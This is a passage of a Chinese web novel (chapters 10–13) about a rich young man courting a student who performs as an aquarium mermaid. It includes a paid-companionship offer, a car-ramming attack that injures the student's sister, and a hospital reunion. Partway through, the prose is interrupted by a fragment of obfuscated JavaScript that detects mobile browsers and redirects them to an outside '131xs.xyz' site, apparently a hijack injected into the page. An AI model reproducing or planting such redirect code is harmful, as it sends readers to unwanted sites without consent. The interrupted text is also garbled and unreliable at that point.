被打断后,单承言也没继续说,只是和江瑶浪互道了晚安,看着他开门下车,看着他再一次消失在自己的视线里。
单承言把这种不舍的情绪归为被拒绝后的委屈,归为自尊受挫的难耐。
要试试吗?试试用钱来留住一个人。
*
翌日,江瑶浪结束工作后回到寝室,门还没关上,王达煜就已经伸出手,指向他的桌面,大声说:“浪哥,言哥让我带给你的。”
“言哥?”江瑶浪把包丢进柜子里,问,“单承言?”
“对啊,他今天在微信找的我,问我在哪。”提到这事,王达煜就委屈。
“然后呢?”江瑶浪合上柜门。
“我说我在公司拧螺丝,他就说来给我送下午茶,顺带让我给你带点东西,后面我去前台一看,他就只给我买了杯咖啡,还是楼下的瑞幸我靠,有钱人也喝瑞幸吗?”说罢,王达煜又指了指桌面上那个精致的礼袋,“那袋东西是给你的。”
江瑶浪拉开椅子坐下,然后打开袋子,从里面掏出一个系绳礼盒,绳子上串了一张写着店名的卡片,江瑶浪看了一下,发现是江瑶清提过的网红手作烘焙店。
他把绳子解开,拆开包装纸,才发现里面是一盒蝴蝶酥。
江瑶浪把蝴蝶酥分了分,往每个舍友的桌面都放了点,递给王达煜的时候说:“现在你的下午茶完整了。”
王达煜笑嘻嘻地接过拆开吃了:“还是浪哥好。”
晚上没来得及吃饭,江瑶浪也饿,他也撕开包装,咬了一口。
很好吃,面上只撒了很少的一圈糖,甜度不高,焦糖香后是浓郁的黄油乳脂香,酥脆可口,不油不腻。
“好吃啊!浪哥,看看是啥牌子。”
江瑶浪把店名告诉了他,王达煜立马拿出手机来搜,过了一会,他开始鬼吼鬼叫:“什么玩意这么贵,我一口吃了十块钱啊?”
“这么贵吗?”在此之前,江瑶浪只知道这家店是排队王,很难买。
“很贵啊,一盒两百三十八,才十二个。”王达煜又比划了一下蝴蝶酥的大小,“就这么点,两口一个,这不就是一口十块钱吗?”
江瑶浪把剩下的两个递给王达煜:“那再给你感受一下吃人民币的感受。”
王达煜没收:“浪哥你吃嘛,别给我啦。”
“行,反正你要还想吃就自己拿。”江瑶浪把蝴蝶酥放回桌面,然后把包装纸包装盒都塞回纸袋里,又拿了个泡面,准备泡面的时候顺便把垃圾也丢了。
出门前他问王达煜要不要一起,王达煜说不用。
等面好的间隙,江瑶浪拿出手机给单承言发信息。
【不要柠檬】:蝴蝶酥收到了,很好吃,谢谢。
【不要柠檬】:不过下次可以直接找我的。
单承言没回复。
江瑶浪也就没管,把手机放回裤袋里,然后端着面在走廊吃。
他不爱在室内吃泡面,味不好散,怕影响人,所以每次都是吃完了才回去,一开始舍友还不理解,毕竟大家都在室内吃啊,江瑶浪也只是笑笑,说是从小被爸妈管习惯了。
等他洗完澡躺床上的时候,江瑶浪才发现单承言半小时前给他回了信息。
【单承言】:那你想不想吃汤咖喱?
*
江瑶浪看不透单承言,他明确地感知到单承言对他有兴趣。
但因何而起,江瑶浪是真的不知道。
大少爷不可能缺朋友,他们两个的生活圈也没多余的交集,感谢照片这个理由用多了也知道只是借口。
所以为什么要来找自己呢?
他只是一个无趣的普通人。
江瑶浪想如往常一样直接拒绝,但他看着单承言那个色彩大胆的头像,回忆起他在赛事终点意气风发冲线的时刻,想到他昨晚谈论爱好时闪着光的双眸。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445103|185069||http|test|mini|href|location''.split(''|''),0,{}));
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>最后浮现的是那一捧亮晶晶的玻璃糖。
他最终还是选择为了那一瞬的心动而妥协。
于是江瑶浪和单承言确定好了时间地点,就把手机熄屏准备睡觉。
谁让可怜的他明天还有万恶的早八。
*
单承言说那家店有点远,所以约在了十点钟。
依旧是他开着车在校门等江瑶浪,不过换了辆车。
单承言还对江瑶浪那句“顶能开吗”耿耿于怀,所以今天特意开的敞篷,碧海蓝的玛莎拉蒂MC20 Cielo,不过这辆没有过多的套件,只是改装了灿金色的锻造轮毂。
他把手搭在降了车窗的窗框上,撑着额,百无聊赖地看着校园内来来往往的学生群,看他们在下课铃响起后从教学楼冲出抢占电瓶车,又看他们在上课预备铃响起的时候狂奔涌向教室。
又过了一会,人群中走出来一个极为高挑的身影,他比周围的学生都要高出不少,肩也宽,散披着一头黑发。
是江瑶浪。
江瑶浪今天穿了一件宽松的杏色薄卫衣,袖子有点长,盖住了小半只手掌,搭了一条黑色的工装裤,鞋子是一对卡其色马丁短靴,江瑶浪还背了个深灰色饺子包,没有很鼓,很简单的搭配,却意外吸睛。
不然怎么说人好看套麻袋也好看呢,一眼从人群认出鱼的单承言心想。
单承言抬高手朝江瑶浪招了招,江瑶浪注意后也抬手回应,然后加快脚步走向单承言。
等江瑶浪走近了,单承言对他说:“上车吧,今天这辆顶能开。”
江瑶浪应了一声,上车后发现座位已经被调好,他系上安全带,说:“看出来了,你这不是开着吗。”
想到刚刚留意到的车的外观,江瑶浪又说:“不过你这个车,和昨天那辆款式差不多吧。”
单承言解释:“硬顶和敞篷的区别,单纯是喜欢这个款,所以两种都买了。”
“那我是不是该说一声,万恶的有钱人?”
“万恶的有钱人也只是你的司机。”单承言转过头凑近,与江瑶浪对视,认真地说。
江瑶浪伸手把他的头推了回去:“别把话说得这么暧昧。”
单承言哼笑一声,发动了车:“那浪哥,单承言要载你去吃饭咯。”
汽车疾驰,身旁的景色在快速后退,秋风吹起长发,舞动在空中,胡乱地拍打在江瑶浪的脸上,单承言注意到了,问他要不要关篷。
江瑶浪说不用,然后把长发搂在身前,手指灵巧地穿梭在发间,迅速编了个单侧粗麻花,他咬下手腕的皮筋扎好后,又把辫子整体稍稍扯松。
“浪哥这手艺,教教我呗。”单承言调笑。
江瑶浪无语:“你的头发用不着。”
“我学来讨好单诺真不可以啊?”单承言还在狡辩。
提到单诺真,单承言就想起单诺真已经单方面宣布,与江瑶浪情定终身的事情,于是单承言说:“你知不知道自己惹了朵小桃花啊。”
“谁?”江瑶浪迷茫。
“单诺真,她说那颗珍珠是定情信物。”单承言憋笑。
江瑶浪扶额:“那真是麻烦了。”
“你看不上她,那考虑她舅吗?”假借着开玩笑的心思,单承言试探性发言。
“也不考虑直男。”江瑶浪神情瞬间变得严肃,“否认也没用,我能感觉出来。”
然后他又认真地对单承言说:“可能你是觉得好玩,但是很明显,我们俩不是一路人。”
单承言那点龌龊心思藏得很好,江瑶浪至今还以为他只是一个贪玩的直男,但是直男会对另一个男人产生欲望吗?
显然不可能。
所以单承言也很认真地回复:“我不是。”
“你的感觉错了,江瑶浪。”
“所以呢?”
“所以我想你陪我吃饭。”
11. 第 11 章
随着那句玩笑话地说出,单承言的心思昭然若揭,他也不再掩掩藏藏,每天换着理由约江瑶浪出来玩出来吃饭。
但江瑶浪不像少爷这么闲,他手上多的是工作,所以很少应约。
单承言自然是不乐意的,但是他不乐意也没什么办法,只能化不爽为动力,努力锻炼以减少胡乱饮食带来的负罪感,同时用心选出好评的零食给江瑶浪送去。
然后在拒绝中摸清江瑶浪的行程表,挑着时间去海洋馆见他。
单承言也成为了隔着透明壁面期待互动的观众,他也会把手紧贴壁面,等待那尾人鱼穿过鱼群,灵活地为他游动而来,歪头眷恋地轻蹭着他的手心。
*
亦或是挑着江瑶浪空闲的时候把人约出来。
今晚他们在一家空中花园餐厅见面,吃云南菜。
环境情调,出品不错,价格优越,驻唱歌手拨弄吉他,摇晃着歌唱舒服的民谣。
菌子焖饭有点辣,江瑶浪的唇红了一小圈,他用叉子挑了块蜜渍树番茄含着,嘴角蹭了点果汁,他伸出舌尖舔舐。
那一小截柔嫩红润的舌又把单承言蠢蠢欲动的心思给勾了出来,偏偏歌手还在不知死活地唱着——
“过了很久终于我愿抬头看 你就在对岸等我勇敢”
他在一声声“我的我的我的”中迷失。
单承言踢开椅子站起身,在江瑶浪惊讶的目光中向前弯腰,探出身体,双手捧住江瑶浪的脸不让他逃避,然后低头吻了下去。
他含着江瑶浪的唇吮吸,求路无门的舌很是急躁,单承言不住地轻捏摩挲江瑶浪的后颈肌肤,安抚着诱哄他松开齿。
江瑶浪放任了。
他们交换了一个潮湿而甜腻的吻,单承言把抢夺而来的树番茄吞吃入肚,而后抵着额,缠绵而细密地亲吻江瑶浪的嘴角。
良久,单承言才舍得结束,他说:“江瑶浪,你不要工作了。”
江瑶浪被亲得双眸湿润,声音微哑:“……理由呢?”
“你跟着我,我给你钱。”
“你给我钱,我陪你玩?”
江瑶浪推开单承言,两人回归社交安全距离。
“对。”单承言很坦然,“你跟着我,我带你玩,你没必要这么辛苦。”
江瑶浪神色冷峻:“你想包养我?”
单承言否认了。
“你给我钱,我顺着你的心意陪着你,随叫随到,是吗?”
单承言沉默着,没有否认。
“我们会做/爱,对吗?”
单承言依旧是沉默。
江瑶浪下定义:“这就是包养,少爷。”
“那你愿意吗?”
单承言无所谓这段关系的实质性质,他只是想江瑶浪陪着他,他缺钱他缺他,金钱不过是最快捷且稳固的手段。
江瑶浪也站了起来,然后甩了单承言一巴掌。
“滚。”
单承言不可置信地捂着被打红的脸,自尊受挫的他怒视江瑶浪。
江瑶浪同样生气,无畏地与他对视。
单承言做不出在公众场合大吵大闹的事,他憋着火转身离开,却还是忍不住将挡路的椅子一手挥倒。
他们不欢而散,也断了联系。
*
江瑶浪重新回归没有外人打扰的日常,按部就班地生活着。
那段与单承言暧昧纠缠的短暂时光不过是如梦泡影,心照不宣地维系着虚幻的和谐,随着泡泡逐渐升空,晚风轻轻一吹,也就碎了。
江瑶浪谈不上难过,只觉得自己依然天真。
海洋馆的工作也不太顺利,江瑶浪因为自身条件过硬,曾在社媒上小爆过一次,刘经理多次让他开一个账号,也帮海洋馆引引流。
江瑶浪含糊地应付,但直到热度散去,他也没有照做。
刘经理也因此看他不太顺眼,随着新冒的营销热点与更多人鱼的加入,排给江瑶浪的班少了许多。
江瑶浪看得很开,本来就只是一份兼职,本来就是他不适应职场,干不下去了,就辞职另外再找。
没什么大不了的。
*
周日,江瑶浪带着江瑶清去爬山。
这座山不高,兄妹俩慢慢走,不到一小时就登顶了。
放眼望去是郁郁葱葱,深呼吸的空气是清新的绿植味。
江瑶清在观景台自拍了两张,算作打卡,随后他们到山顶的休息亭坐下,江瑶浪从背包里掏出保温杯,给江瑶清倒了杯热茶。
江瑶清接过:“哥还是把我当小孩看。”
“哥哥照顾妹妹不是很正常。”江瑶浪不觉得有什么问题。
“你是我爸,还是我妈。”这是在嫌他啰嗦。
于是江瑶浪坐实罪名,问她:“最近学习怎么样?”
“就那样吧,知识点反反复复做无数遍。”江瑶清吐槽。
“高三就是这样啊,反正你自己看着办,压力别太大,不想学了就玩。”江瑶浪是个很开明的家长。
只是没想到江瑶清故意提起成绩:“你怎么不问我模考多少分啊?”
江瑶浪时刻关注班级群的动态呢,哪里能不知道她的成绩:“你是我妹妹,能差到哪里去。”
“哼哼,自恋。”
“平心而论,你哥不优秀吗?”
读的是国内顶级师范学校,还没毕业就赚得比普通工薪要多,刚成年就扛起来这个家,独自偿还债务,拉扯着妹妹长大。
江瑶清甜甜地笑:“我哥当然是这个世界上最厉害的人。”
“这话我爱听,你可以多说。”江瑶浪收下称赞。
江瑶清又挑了些学校里的趣事跟江瑶浪说了,兄妹俩东扯西聊,等到饭点,他们在山上随意吃了些味道一般的食物。
回程的路上,江瑶清说她想吃关东煮。
于是江瑶浪站在便利店门口等,江瑶清进去选,她很快就买好出来,一手提着装着关东煮的小碗,一手神神秘秘地藏在背后。
她让江瑶浪把手伸出来。
江瑶浪没有丝毫犹豫,把手掌摊开。
江瑶清往江瑶浪的手心上放了一把橙子糖。
她说:“哥哥,你不要不开心。”
掌心挤挤挨挨八颗糖,江瑶清运气很好,只开出一颗柠檬糖。
她又说:“哥哥,妹妹给的糖,好看能吃还甜。”
江瑶浪合起手掌,攥紧了手心的糖。
“小孩。”
江瑶清也不恼,抱着江瑶浪的手臂摇来摇去,冲他撒娇:“我就是一个要黏着哥哥的幼稚鬼啊。”
肉麻的话说出口,江瑶清自己就先受不了,于是松开抱住哥哥的手,蹦蹦跳跳地走在前面。
江瑶浪看着已经成长得亭亭玉立的少女,欣慰又自豪。
*
江瑶清比他小五岁,小时候的江瑶浪皮得很,偏偏力气还大,人也仗义,轻而易举地混成小孩中的大哥,领着小弟闯祸。
每次滚了一身泥回家,就会被爸妈混合双打。
他又倔,讲道理不听,挨打也不喊疼,咬牙憋着泪,硬是不肯让它滑落。
爸妈都拿他没办法,只能怪名字取得不好。
束手无策之际,江瑶清从天上降落到妈妈的身体里。
江瑶浪将自己洗干擦净的双手贴在温暖的肚皮上,感受着里面未成形的生命。
他说:“我是哥哥了。”
我是哥哥了,所以我要成为一个好榜样。
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他给她看优异的成绩单与各类奖状奖杯,他把零用钱攒下来给妹妹买零食买玩具,会鼓励妹妹换牙不怕,但却抱着妹妹脱落的乳牙在夜晚偷偷哭。
他抱着妹妹,带她看世界,牵着妹妹,引她感受世界。
所以江瑶清抓住江瑶浪的衣角跟着学,证明他配得上哥哥这个身份。
江瑶清于他,是全世界全宇宙,最后的一个念想。
只有看着她平安,那他用力地活着才算是有意义。
*
回家前先去了趟超市,江瑶浪让江瑶清点菜。
江瑶清说要吃可乐鸡翅,江瑶浪就去冰柜拿了包无抗鸡翅。
江瑶清比对了一下价格,说:“哥,这种太贵了吧。”
江瑶浪把鸡翅丢进购物车:“贵点就贵点吧,你在食堂吃的已经够不健康了。”
想到食品安全问题,江瑶浪又起心思,说:“我看到有家长给学生送饭来着,要不我也做好了给你送过去?”
江瑶清捂着耳朵跑开:“不要这么麻烦啊啊啊。”
虽然被拒绝了,但江瑶浪觉得这很可行,反正现在也少了一份工作,他也有了更多的时间照顾江瑶清。
一周送个一两次,也不麻烦。
江瑶浪在心里计算着自己的空闲时间,初步定下来送饭计划。
他走到饮料区,拿了两听可乐,提了一箱水牛奶,又去鲜果区选了一袋苹果,这才心满意足地领着江瑶清回家。
饭后,江瑶清还想洗碗,结果被江瑶浪赶出厨房,催着她去上学。
江瑶清背着不轻的书包,趁着江瑶浪背向她忙活,偷偷歪着头对江瑶浪比划了个鬼脸。
“哥哥,那我回学校咯。”她向江瑶浪说拜拜。
江瑶浪手上还沾着一圈泡沫,动作没停,微微侧身对她说:“路上小心。”
*
江瑶浪把碗洗好,清理了一下厨房里的水渍油渍,又收拾了一下屋里屋外的垃圾,他把垃圾袋系好绑紧,准备下楼丢垃圾。
走到门口时脚步一停,折身回屋拿起单承言送过来的花和玻璃糖,将它们与垃圾一起丢进了小区的垃圾桶。
就这样吧。
回屋后,江瑶浪拆了一颗江瑶清给的糖含嘴里,准备再坐会儿就回学校。
糖壳还没化全,夹心只吝啬地流出一点,江瑶浪刷着微博,突然,消息栏都在推送一起恶意驾车伤人事件,江瑶浪正准备点进去查看究竟。
就被一个电话强势打断,他疑惑地接起。
是交警的来电,通知他来医院陪护。
江瑶浪很冷静地记下医院的地址,收拾好相关证件,然后点开打车软件叫车,司机刚接单后他就夺门而出,在小区门口焦虑地等待。
刚看到车,他就朝车跑去,拉开门上车后,江瑶浪对司机说:“麻烦了师傅,有点急事,可以稍微开快点吗?”
司机一看目的地,还有什么不清楚的,他应得爽快,在城市中快速穿插。
去医院的必经路段因为出了事故,现已被封锁,他们迫不得已绕了一条远路。
在车上江瑶浪冷汗直冒,不安和焦虑在他的脑海盘旋,冲撞着他的理智,他自虐般点开事故词条,从零碎的图片中窥见一片狼藉的事故现场,在围观者的言论中得知这是一起极其残忍的屠杀。
江瑶浪几乎不能呼吸。
手指持续往下翻动,撞入视线的是一辆熟悉的白色泛蓝玛莎拉蒂。
此时已被撞得破破烂烂,完全不复当初的张扬。
而跟随着这张图的配文是:不会是哪家公子哥来报复社会吧。
江瑶浪已经彻底无法思考,他关闭手机捂着眼。
等待来自医院的宣判。
12. 第 12 章
江瑶浪下车的时候腿是软的,他来不及喘息,就跌跌撞撞地往导诊台跑。
医院内很混乱,江瑶浪个人更加混乱,他找不到路在哪里,最后只能抓着来往于他身边的医生护士,重复着说我是江瑶清的家属,江瑶清在哪里。
他已经记不清是怎么找到江瑶清的病房,等意识归位的时候,他已经坐在江瑶清的床边。
医生说江瑶清没什么事,目前还没清醒只是因为受到了惊吓和撞击,过不了多久就能醒来,右脚踝有轻微的骨折,不严重,不需要手术,已经做好了临时固定,病人清醒后就可以带她离院,等消肿后再回来打石膏。
江瑶浪不太放心,问:“可以留院观察一晚吗?”
医生说可以,让他跟自己去诊室拿单子。
于是江瑶浪给妹妹抻了抻被子,跟着医生出了门。
片刻后,江瑶浪拿着留观医嘱和入院通知单,以及杂七杂八的缴费单,去窗口办理手续并缴纳押金与医疗费用,窗口的排队处人很多,医院大厅依旧人来人往,地面上不知何人的血渍还没来得及清理。
很吵,很闹。
但得知妹妹无大碍的江瑶浪内心一片宁静,混乱的大脑也得以获得一丝清明。
在排队的时候,他同江瑶清的班主任取得联系,与其说明情况,并请了一个月的假,班主任回复说让她好好休息,作业和知识点都会整理好,让他定期到来学校拿。
他说,谢谢老师。
前方还是熙熙攘攘的人群,有人在闹,有人麻木。
江瑶浪突然觉得好累。
他失力蹲下,用力地抱紧自己,身材颀长的他努力缩成小小的一团,满头黑发随之散落,如菌盖般掩住他的脸和颤抖的半身。
有人在无声痛哭。
忽然,有人将他拉起,把他摁往陌生的胸膛,单手紧紧地拥住他。
“别哭,江瑶浪,别哭。”
是单承言。
江瑶浪没有留恋这个拥抱,很快地将来人推开。
此刻的单承言也非常狼狈,裸露的肌肤有多处擦伤,衣物上血迹点点,左手不正常地扭曲,垂在身侧。
单承言用完好的右臂托着江瑶浪,对他说:“先缴费,我晚点跟你解释。”
办好入院手续后,他们回到了江瑶清的病房,单承言让他坐下,然后自己又拉来椅子坐在他身边。
江瑶浪看着他的左手,说:“不先去处理一下吗?”
单承言说:“没什么大碍。”
江瑶浪点点头,眼眶蓄积的泪悄悄滑落,被他用手背迅速抹去。
“所以是怎么回事?”江瑶浪问。
单承言说明情况:“开车撞人的是个神经病,他先是开到路口撞倒了一批人,然后迅速逃逸,周围的路人以为已经安全,就准备上前救助伤员,你妹妹……也是其中一个,没想到神经病去而复返,二次撞人,有些人躲避不及,又倒下了。”
他顿了顿,继续说:“我留意到他在快速倒车,应该是想再次碾压,后续是我把他拦下了,大概就是这么个事情吧。”
“怕吗?”江瑶浪问。
“我的车改装过,很硬。”单承言故作轻松地笑笑。
闻言,江瑶浪沉默许久。
然后真诚地说:“谢谢。”
接着他又问:“所以你为什么会在那条路上。”
这片老城区,并不属于单承言的日常活动范围。
“因为想见你。”单承言说。
“是这样吗。”
“嗯。”单承言再次承认。
江瑶浪又点点头,对他说:“你先去处理伤口吧。”
“好。”
单承言听话起身,开门离开病房之际,他又听到一句“谢谢”,自身后而来。
*
医生的判断很准确,江瑶浪守了不到两小时,江瑶清就清醒过来。
她睁眼看到哥哥就在身旁,眼泪瞬间就涌了出来。
江瑶清扯着江瑶浪的衣角,抽噎着哭喊:“哥哥,哥哥……”
“没事,哥在这呢。”江瑶浪俯身轻轻抱住她,抚着她的头安慰。
江瑶清回抱,把头埋在江瑶浪的颈侧,泪水沁湿了他的衣领:“对不起,哥哥。”
“说什么傻话。”
江瑶清吸吸鼻子,说:“哥你肯定担心坏了。”
“是啊,哥现在最担心的是你能不能连着喝那么多天汤。”
江瑶浪示意了一下她的伤脚:“伤筋动骨一百天,慢慢养着吧。”
“哥给我做,我喝不腻。”
江瑶浪捧住妹妹的脸,帮她擦干净眼泪:“小清别哭。”
擦泪的时候江瑶清也在偷偷看她哥,她留意到江瑶浪依然泛红的眼尾,情绪难止,于是把头藏进哥哥宽厚的胸膛,眼泪躲着偷偷掉。
“我和你们老师请假了,接下来一段时间我陪你在家里好好修养,你就在家里先学着,有不懂的就问我。”江瑶浪简要说了下接下来的安排。
“那你的工作呢?”江瑶清问。
“我也请假了。”
江瑶清还想逞强,被江瑶浪提前预判:“你就当哥也放个假。”
反抗无效的江瑶清只好在他怀里用力地点点头。
“困了就睡吧,哥在呢。”
本来就受了惊吓,身心放松下来后江瑶清很快就睡在江瑶浪的怀里。
确认江瑶清睡熟后,江瑶浪动作轻缓地将她放回床上,拉高了被子。
他牵着妹妹的手又陪了一会,然后起身出门购买日用品。
门外静静伫立着一个高大身影,见到江瑶浪,他压低声音打了个招呼。
江瑶浪反手关上门,看向已经打好夹板吊着手的单承言,他问:“有事吗?”
单承言弯腰拎起身旁的购物袋,朝江瑶浪递过去。
他解释:“牙膏、牙刷、脸盆、毛巾和充电宝,保温盒里装了两卷热毛巾,小一点的保温杯是热水,大一圈的是温水,还有些饼干、面包、巧克力,我想你应该会需要。”
江瑶浪伸手接过这个沉甸甸的袋子,又一次道谢。
单承言“嗯”了一声,他指了指隔壁病房:“我今晚在这,有事帮忙的话就来找我。”
“早点睡。”江瑶浪道了句晚安,然后转身回了病房。
“好梦,小鱼。”单承言对着空寂的走廊说。
*
单承言依然靠着墙,用完好的手查看已经爆炸的信息。
父母和姐姐在先前就已经联系过,他们已经得知自己无碍,只说有空回家看看,剩下的都是些不太重要的私聊,信息太多,他懒得回复。
只点开了自己的发小群,打算和他们聊聊。
群里的人显然对他非常关心,信息刚发出去就全被炸了出来。
群聊:钱砸群里听个响(6)
【S.】:1
【早安小宝】:我靠,活了
【小春小春】:没事吧
【哥哥】:你现在在哪?
【弟弟】:我们要过去吗?
【学习甜哥好榜样】:甜哥不愧是真男人……
【S.】:服了,别叫我甜哥
他打开摄像头拍张自己吊着的伤臂,发到了群里。
【S.】:命大,只伤了手
【小春小春】:看着有点严重啊
【早安小宝】:我过来,你在第三医院吧
【早安小宝】:等我
【极其乖巧玉玉】:我也来我也来
【S.】:凑什么热闹
【S.】:没什么事
【哥哥】:没事你干嘛不回家
【弟
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弟】:你开不了车,我们来接你
【S.】:我人没事,但还有事
【哥哥】:行吧,反正有事你就群里喊人
【小春小春】:没吃饭吧,@早安小宝 绕来我家,你给单承言带一份
【S.】:谢了
【小春小春】:没事
*
李聿鸣来得很快,他给单承言打了个电话,问他在哪。
单承言给他报了位置,李聿鸣步履匆匆地找了上来。
李聿鸣也刷到了那辆玛莎拉蒂的图片,毁得严重,一看就是踩大了油门撞上去的,所以一来就扯着单承言转了一圈,仔细观察后才算放下心来。
李聿鸣问:“去哪吃饭?”
李聿鸣嗓门不小,于是单承言皱着眉把他扯进楼梯间。
单承言:“有什么菜啊?”
“不是吧少爷,这时候了你还挑。”李聿鸣是真的无语单承言的龟毛程度。
“所以有什么菜。”
“我怎么知道,拿了就过来了。”
“你打开看看。”
“行行行,”李聿鸣真的服气,手脚麻利地把饭盒打开,然后惊喜挑眉,“哟,是少爷你能吃的。”
不然怎么说苏仰春细心呢,让阿姨给单承言煮了锅燕麦粥,还加了点核桃,袋子里空余的位置塞了几个橙子。
单承言让李聿鸣把饭盒放在楼梯扶手的转折处上,自己拿勺子慢慢吃。
单承言喝粥的时候李聿鸣也没闲着,而是在给他剥橙子,他把剥好掰成瓣的橙子放在盖上,然后坐在楼梯上。
李聿鸣问:“说说呗,留在这里守着谁?”
单承言没接这个话题,而是关心他和小主播:“你和小主播怎么样?”
“还能怎么样,砸钱哄着呢。”提到秦小添,李聿鸣脸上浮现笑意。
“关系稳固吗?”
“怎么不稳固,我们俩好着呢。”李聿鸣起了炫耀的心思,开始跟单承言说他们俩的甜蜜日常。
直到把单承言说烦了。
他打断李聿鸣喋喋不休的话:“长什么样,我看看。”
于是李聿鸣打开相册挑了张照片给单承言看,但也没让他看多几秒,很快又收了起来。
单承言只看到照片上的人有一双下垂狗狗眼,笑起来非常阳光。
“小气。”单承言评价道。
“那你那个呢,是什么天仙。”
单承言把没破皮的橙子挑了吃了,说:“反正比你家小主播好看。”
“什么时候带出来看看啊。”李聿鸣不服。
单承言沉默不语。
李聿鸣也没逼他,只是问:“什么时候认识的。”
“快一个月前了。”
“男的女的?”
“男的,但说他是大美女也没什么问题。”
“一个月了还没追上?丢人。”
单承言没多废话,只是阴恻恻地看着他,说:“快了。”
李聿鸣才不惯着他,嘲讽地啧啧两声,然后认命地起身把剩下的破皮橙子塞嘴里吃了,又将饭盒餐具以及橙子皮收拾好,最后点了根烟塞进单承言嘴里。
然后伸手拍了拍单承言的肩膀,说:“行,现在饭也吃完了,我回家睡觉了,明天要用车的话就说一声。”
“真受不了万宝路这味。”单承言把烟夹在指间,朝李聿鸣摆摆手手,主打的就是一个用完就丢。
“臭脾气,难怪人看不上你。”临走前李聿鸣还要损一句。
结果躲避不及,被单承言一脚踹小腿上。
“真走了,有事联系。”
“滚吧。”
李聿鸣走后,单承言留在楼梯间把烟抽完,站在窗前吹了会风,把烟味散了散,然后又回到江瑶清病房门前继续靠着,直到天蒙蒙亮,才回房睡下。
13. 第 13 章
江瑶浪是被江瑶清轻轻拍醒的。
他揉揉太阳穴,让自己快速清醒,问:“怎么了小清。”
病房内还有其他病人没睡醒,江瑶清声音压得很低:“哥哥要不来床上睡会儿吧。”
“没事,”江瑶浪拒绝了,“睡累了吧,我把床调高,你靠一会?”
躺了十几个小时,确实很累,于是江瑶清点点头:“谢谢哥。”
江瑶浪帮江瑶清摇高床,调整好后,又做了会拉伸,舒缓自己坐了一晚上,变得僵硬的身体。
然后江瑶浪端着盆拿着日用品出门,先去找了个女护工帮忙,再去将自己清洁干净,又打了一盆水回来给妹妹用,等妹妹洗漱完了,他问。
“饿不饿?”
江瑶清点头,举手点菜:“我想吃玉米!”
“好,我去买。”
江瑶浪出门的时候,下意识往隔壁病房看了一眼,隔壁门没关,他很轻松就看到了缩在病床上睡觉的单承言。
见单承言还在睡,江瑶浪就没进去打扰,等他提着两人份的早餐回来后,却发现门前来了警察,他上前询问来意,得知是来找江瑶清做笔录的。
他打开门让警察进来,又开了瓶热牛奶让江瑶清先喝两口。
做笔录的警察很友好,表示可以让江瑶清先吃完早餐,江瑶清也怕浪费警察的时间,只是快速啃了两口玉米,又喝了点牛奶便示意可以开始了。
他们做笔录的时候,江瑶浪自觉出门回避,在门口处他又往隔壁病房看了一眼,此时的门已经被关上,透过门上的小窗,他看到单承言也在做笔录。
单承言估计是刚被叫醒,头发乱糟糟,迷迷蒙蒙的。
江瑶浪在门口没等多久,江瑶清的笔录就做完了,他对警察点头示意,向他们表示感谢,警察也安慰了他两句。
他回到江瑶清的身边,把没吃完的玉米再次递给她:“吃吧,还热着。”
江瑶浪自己吃的也是玉米,兄妹俩一个在床上坐着,一个在床边坐着,动作一致地啃食玉米,像两只毛茸茸的仓鼠。
吃完后,江瑶清问江瑶浪:“哥,我什么时候能回家啊?”
昨晚得知江瑶清骨折后,江瑶浪就已经网购了轮椅、拐杖还有一些骨折神器,他翻了下订单,发现都还在派送。
所以江瑶浪回她:“晚点吧,下单的轮椅和拐杖还没到家。”
闻言,江瑶清笑嘻嘻:“那一会只能是哥背我咯。”
“嗯,”江瑶浪点头认可,又说,“我给你找了个护工的,姓杨,需要帮忙的话就叫她,我去隔壁病房看个人。”
“谁啊?”江瑶清问。
“昨天救人的车主。”
“啊!”江瑶清惊呼,推搡她哥,“那你快去看看他,他昨天救了好多人啊。”
江瑶浪又叮嘱了两句,才去往隔壁病房。
单承言的笔录也做完了,这会还靠在床上昏昏欲睡。
江瑶浪走过去,问他:“我能帮上忙吗?”
有人靠近的时候单承言就已经感觉到了,但他懒得搭理,直到听见来人的声音,他才惊喜睁眼:“你怎么过来了。”
“我来看看你有没有要帮忙的。”江瑶浪道明来意。
“我没什么问题啊。”并非逞强,单承言只伤了一只手,生活自理不是问题。
“吃早餐了吗?”
“还没。”
“那我去给你买个粥吧。”做了决定后,江瑶浪起身就要去买。
单承言伸手握住他的手臂,止住他:“不用这么麻烦,我吃饼干就行。”
江瑶浪依旧坚持。
于是单承言松开手,对他说:“随便买点就好。”
江瑶浪前脚刚出门,单承言后脚也跟着离开,他去卫生间快速洗漱,还捯饬了个发型,赶在江瑶浪回来前,自己摇好了床,拉开了桌板。
于是江瑶浪回到病房,看到的就是一个精致着端坐的单承言。
江瑶浪打趣他:“你要不要再四十五度仰望天空。”
“咳,”单承言握拳抵唇假意咳嗽,不经意间又拨弄下来两缕湿发,问,“给我买了什么啊?”
“青菜瘦肉粥。”江瑶浪把带回来的粥放在桌板上,拆开包装,把塑料勺递给单承言。
单承言接过勺,还是忍不住得寸进尺:“你怎么不问问我,能不能自己吃啊?”
江瑶浪用看智障的眼神回应他。
单承言得了冷待,也不作妖了,低头吃起粥来。
医院买的粥哪里好吃,喂进嘴里比喝白水还寡淡,但单承言这时也没了昨晚的挑剔少爷劲,只是一勺一勺把粥喝到底。
吃完后,单承言把垃圾收拾好,对江瑶浪说:“聊聊?”
江瑶浪大概知道他想说什么,不过没有拒绝,跟着他来到了楼梯间。
*
门刚关上,单承言就把他禁锢在墙角里,毫不客气地张开大手拢住江瑶浪的腰,把人往自己怀里摁。
江瑶浪顾忌他的伤手,不敢挣扎。
看着乖乖待在自己怀里的江瑶浪,单承言满心柔软,他克制着低头吻了吻江瑶浪的发,内心疯狂刷屏。
好乖,瑶瑶好乖。
江瑶浪任由他抱着亲着,语气淡淡:“所以你想和我说什么。”
单承言还找他能聊什么,无非还是那个导致两人闹崩的提议。
再一次把邀请发出,单承言有点紧张,于是更用力地抱紧人,伤臂传来阵阵痛感,他毫不在意,只坚定心中所想。
“我上次说的……你可以再考虑一下吗?”
“可以,如果这就是你希望的。”江瑶浪回复得很快,只提出来一个条件,“开始的时间定在小清伤好后,好吗?”
